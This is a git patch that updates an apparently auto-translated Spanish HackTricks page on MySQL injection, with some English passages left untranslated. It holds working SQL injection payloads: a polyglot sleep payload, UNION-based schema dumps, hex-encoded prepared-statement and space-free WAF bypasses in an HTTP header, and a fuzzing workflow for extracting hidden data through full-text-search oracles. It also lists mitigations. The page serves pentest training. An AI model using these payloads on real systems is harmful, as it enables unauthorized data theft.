From 94d1efb2ea24ac921aa3ab96eba1ff31248d4827 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 00:48:03 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README --- .../sql-injection/mysql-injection/README.md | 114 ++++++++++++++---- 1 file changed, 93 insertions(+), 21 deletions(-) diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 54f83b139..af5211ced 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -12,7 +12,7 @@ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` -## Funciones Interesantes +## Funciones interesantes ### Confirmar Mysql: ``` @@ -48,11 +48,11 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) ## Flujo -Recuerda que en las versiones "modernas" de **MySQL** puedes sustituir "_**information_schema.tables**_" por "_**mysql.innodb_table_stats**_**"** (Esto podría ser útil para eludir WAFs). +Recuerda que en las versiones "modernas" de **MySQL** puedes sustituir "_**information_schema.tables**_" por "_**mysql.innodb_table_stats**_**"** (Esto podría ser útil para evadir WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `group_concat()` - `Limit X,1` -### **Ciego uno por uno** +### **Blind one by one** -- `substr(version(),X,1)='r'` o `substring(version(),X,1)=0x70` o `ascii(substr(version(),X,1))=112` +- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` -### **Ciego añadiendo** +### **Blind adding** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` @@ -92,7 +92,7 @@ UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` -## MySQL Basado en Unión +## MySQL Union Based ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... @@ -101,60 +101,132 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Aprende aquí diferentes opciones para** [**abusar de una inyección Mysql para obtener un SSRF**](mysql-ssrf.md)**.** +**Aprende aquí diferentes opciones para** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** -## Trucos para eludir WAF +## Trucos para evadir WAF -### Ejecutando consultas a través de Sentencias Preparadas +### Ejecutar consultas mediante Prepared Statements -Cuando se permiten consultas apiladas, puede ser posible eludir los WAF asignando a una variable la representación hexadecimal de la consulta que deseas ejecutar (usando SET), y luego usar las sentencias MySQL PREPARE y EXECUTE para finalmente ejecutar la consulta. Algo como esto: +Cuando las stacked queries están permitidas, podría ser posible evadir WAFs asignando a una variable la representación hexadecimal de la consulta que quieres ejecutar (usando SET), y luego usar las sentencias PREPARE y EXECUTE de MySQL para finalmente ejecutar la consulta. Algo así: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -Para más información, consulte [esta publicación de blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +Para más información, consulte [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). ### Alternativas a information_schema -Recuerde que en las versiones "modernas" de **MySQL** puede sustituir _**information_schema.tables**_ por _**mysql.innodb_table_stats**_ o por _**sys.x$schema_flattened_keys**_ o por **sys.schema_table_statistics**. +Recuerda que en "modern" versiones de **MySQL** puedes sustituir _**information_schema.tables**_ por _**mysql.innodb_table_stats**_ o por _**sys.x$schema_flattened_keys**_ o por **sys.schema_table_statistics** ### MySQLinjection sin COMAS -Seleccione 2 columnas sin usar ninguna coma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Seleccionar 2 columnas sin usar ninguna coma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Recuperando valores sin el nombre de la columna -Si en algún momento conoces el nombre de la tabla pero no sabes el nombre de las columnas dentro de la tabla, puedes intentar averiguar cuántas columnas hay ejecutando algo como: +Si en algún momento conoces el nombre de la tabla pero no conoces los nombres de las columnas dentro de la tabla, puedes intentar averiguar cuántas columnas hay ejecutando algo como: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Suponiendo que hay 2 columnas (siendo la primera el ID) y la otra el flag, puedes intentar forzar el contenido del flag probando carácter por carácter: +Suponiendo que hay 2 columnas (siendo la primera el ID) y la otra el flag, puedes intentar un bruteforce del contenido del flag probando carácter por carácter: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Más información en [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### Historia de MySQL +### Injection without SPACES (`/**/` comment trick) + +Algunas aplicaciones sanitizan o analizan la entrada del usuario con funciones como `sscanf("%128s", buf)` que **se detienen en el primer carácter de espacio**. +Dado que MySQL trata la secuencia `/**/` como un comentario *y* como espacio en blanco, puede usarse para eliminar por completo los espacios normales del payload manteniendo la query sintácticamente válida. + +Ejemplo de time-based blind injection que evita el filtro de espacios: +```http +GET /api/fabric/device/status HTTP/1.1 +Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' +``` +Que la base de datos recibe como: +```sql +' OR SLEEP(5)-- -' +``` +Esto es especialmente útil cuando: + +* El buffer controlable está restringido en tamaño (p. ej. `%128s`) y los espacios terminarían prematuramente la entrada. +* Inyectar a través de HTTP headers u otros campos donde los espacios normales se eliminan o se usan como separadores. +* Combinado con primitivas `INTO OUTFILE` para lograr RCE completo pre-auth (ver la sección MySQL File RCE). + +--- + +### Historial de MySQL Puedes ver otras ejecuciones dentro de MySQL leyendo la tabla: **sys.x$statement_analysis** -### Versiones alternativas**s** +### Versión alternativa**s** ``` mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` -## Otras guías de inyección MYSQL +## Abuso de operadores de MySQL Full-Text Search (FTS) en BOOLEAN MODE (WOR) -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +Esto no es una SQL injection clásica. Cuando los desarrolladores pasan entrada de usuario a `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL ejecuta un conjunto rico de operadores de búsqueda booleanos dentro de la cadena entrecomillada. Muchas reglas WAF/SAST solo se centran en romper las comillas y no detectan esta superficie. + +Puntos clave: +- Los operadores se evalúan dentro de las comillas: `+` (debe incluirse), `-` (no debe incluirse), `*` (comodín de sufijo), `"..."` (frase exacta), `()` (agrupación), `<`/`>`/`~` (pesos). Ver la documentación de MySQL. +- Esto permite pruebas de presencia/ausencia y de prefijo sin romper el literal de cadena, p. ej. `AGAINST('+admin*' IN BOOLEAN MODE)` para comprobar cualquier término que empiece con `admin`. +- Útil para construir oráculos como “¿alguna fila contiene un término con prefijo X?” y para enumerar cadenas ocultas mediante expansión por prefijo. + +Ejemplo de consulta construida por el backend: +```sql +SELECT tid, firstpost +FROM threads +WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); +``` +Si la aplicación devuelve respuestas diferentes dependiendo de si el conjunto de resultados está vacío (p. ej., redirección vs. mensaje de error), ese comportamiento se convierte en un Boolean oracle que puede usarse para enumerar datos privados como títulos ocultos/eliminados. + +Sanitizer bypass patterns (generic): +- Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like `(\b.{1,2})(\s)|(\b.{1,2}$)`, submit `prefix*ZZ`. The cleaner trims the `ZZ` but leaves the `*`, so `prefix*` survives. +- Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`. + +Payload template (URL-encoded): +``` +keywords=%26%26%26%26%26+%2B{FUZZ}*xD +``` +- `%26` es `&`, `%2B` es `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`. +- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable. + +Enumeration workflow: +1) Comienza con `{FUZZ} = a…z,0…9` para encontrar first-letter matches vía `+a*`, `+b*`, … +2) Para cada prefijo positivo, ramifica: `a* → aa* / ab* / …`. Repite hasta recuperar la cadena completa. +3) Distribuye las peticiones (proxies, múltiples cuentas) si la app aplica flood control. + +Why titles often leak while contents don’t: +- Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur. + +Mitigations: +- Si no necesitas Boolean logic, usa `IN NATURAL LANGUAGE MODE` o trata la entrada del usuario como literal (escapar/poner entre comillas desactiva operadores en otros modos). +- Si se requiere Boolean mode, elimina o neutraliza todos los Boolean operators (`+ - * " ( ) < > ~`) para cada token (sin cortes prematuros) después de la tokenización. +- Aplica visibility/authorization filters antes del MATCH, o unifica las respuestas (constant timing/status) cuando el result set esté vacío vs. no vacío. +- Revisa características análogas en otros DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` también parsean operadores dentro de argumentos entre comillas. + +Notas: +- Prepared statements no protegen contra el abuso semántico de `REGEXP` u operadores de búsqueda. Una entrada como `.*` sigue siendo una regex permisiva incluso dentro de `REGEXP '.*'` entre comillas. Usa allow-lists o guardias explícitos. + +## Otras guías de MYSQL injection + +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## Referencias -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}